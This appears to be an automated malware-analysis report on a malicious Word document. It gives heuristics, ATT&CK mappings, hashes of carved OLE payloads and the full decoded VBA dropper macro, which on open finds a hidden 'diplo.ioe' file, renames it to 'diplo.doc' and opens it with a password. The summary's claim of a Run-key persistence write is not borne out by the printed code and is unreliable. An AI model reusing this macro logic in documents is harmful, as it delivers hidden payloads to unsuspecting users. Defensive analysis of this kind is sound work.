MALICIOUS
72
Risk Score
Malware Insights
MITRE ATT&CK
T1566.001 Spearphishing Attachment
T1059.005 Visual Basic
The sample is a malicious Word document containing VBA macros. The Document_Open macro is designed to check for the existence of a file named 'diplo.doc' in the user's template path. If it does not exist, it proceeds to call other subroutines which appear to be involved in dropping and potentially executing this file. The macro also attempts to write an entry to the Run key, likely for persistence. The presence of the 'EMBED Package' text and the ole-package artifact suggests the document is a container for another file.
Heuristics 5
-
Office EPRINT stream contains EMF object high OLE_EPRINT_EMF_OBJECTOLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/2006/encryption In document text (OLE body)
- http://schemas.microsoft.com/office/2006/keyEncryptor/passwordIn document text (OLE body)
- http://schemas.microsoft.com/office/2006/keyEncryptor/certificateIn document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3181 bytes |
SHA-256: 410de0c41bd6d48af1dd27bd18c31a811f05600ec2f2879199e15817047f8d5f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
Dim hdv As String
Dim bbbb As String
Dim med As String
Private Sub Document_Open()
Dim dfgdgdg
Dim abrakadabra As String
abrakadabra = "o"
abrakadabra = abrakadabra & "c"
Dim kytrewwf As String
kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)
If Dir(kytrewwf & "\diplo.d" & abrakadabra) = "" Then
Call bvxfcsd
If Len(hdv) > 2 Then
Call nam(hdv, kytrewwf)
Call pppx(kytrewwf & "\diplo.d" & abrakadabra)
End If
End If
End Sub
Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject
Call Search(MyFSO.GetFolder(asda), hdv)
End Sub
Attribute VB_Name = "Module1"
Sub pppx(spoc As String)
Dim lkvc As String
lkvc = spoc
Documents.Open FileName:=lkvc, ConfirmConversions:=False, ReadOnly:= _
False, AddToRecentFiles:=False, PasswordDocument:="2281337", _
PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
End Sub
Attribute VB_Name = "Module3"
Sub bvxfcsd()
Selection.MoveDown Unit:=wdLine, Count:=3
Selection.MoveRight Unit:=wdCharacter, Count:=2
Selection.MoveDown Unit:=wdLine, Count:=3
Selection.MoveRight Unit:=wdCharacter, Count:=2
Selection.TypeBackspace
Selection.Copy
Dim uuuuc
uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)
ntgs = 50
sda = 49
Dim vv1, vv2, vv3, vv4, fafaa As String
vv1 = "Lo"
vv2 = "cal/"
vv3 = "Te"
vv4 = "mp"
Dim kuls As String
kuls = vv1 & vv2 & vv3 & vv4
fafaa = kuls
While sda < 50
ntgs = ntgs - 1
If Dir(Left(uuuuc, ntgs) & kuls, vbDirectory) = "" Then
Else
sda = 61
End If
Wend
Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & fafaa)
End Sub
Attribute VB_Name = "Module123345"
Dim pls As String
Sub Search(mds As Object, pafs As String)
Dim Nedc As Object
Dim siplo As String
siplo = "o"
siplo = siplo & "e"
Dim Ters As Object
Dim fffff
fffff = "diplo.i" & siplo
For Each Nedc In mds.SubFolders
Search Nedc, pafs
Next Nedc
For Each Ters In mds.Files
If Ters.Name = fffff Then
pafs = Ters
End If
Next Ters
Exit Sub
ErrHandle:
Err.Clear
End Sub
Sub nam(pafs As String, aaaa As String)
Call ousx(aaaa)
Dim abrakadabra As String
abrakadabra = "o"
abrakadabra = abrakadabra & "c"
Dim oxl
oxl = "\diplo.d" & abrakadabra
Name pafs As pls & oxl
End Sub
Sub uoia(fffs As String)
pls = fffs
End Sub
Sub ousx(aaaa As String)
Call uoia(aaaa)
End Sub
|
|||
ole10native_00.bin |
ole-package | OLE Ole10Native stream: ObjectPool/_1693695878/Ole10Native | 162104 bytes |
SHA-256: f502b64abd1a28406e4788de3ff0575aeaf0d7b6afb676709d2898872abb3c62 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact entropy is 7.95, consistent with packed or encrypted content.
|
|||
ole10native_00_diplo.ioe |
ole-package-payload | OLE Ole10Native payload: ObjectPool/_1693695878/Ole10Native; display_name=diplo.ioe; full_path=C:\Users\MyPc\AppData\Local\Temp\diplo.ioe; temp_path=; def_file= | 161792 bytes |
SHA-256: 36dd375430fa72013499b1e8eb5e791ea56d7acfcafafde85368e6520ca906a5 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact entropy is 7.96, consistent with packed or encrypted content.
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.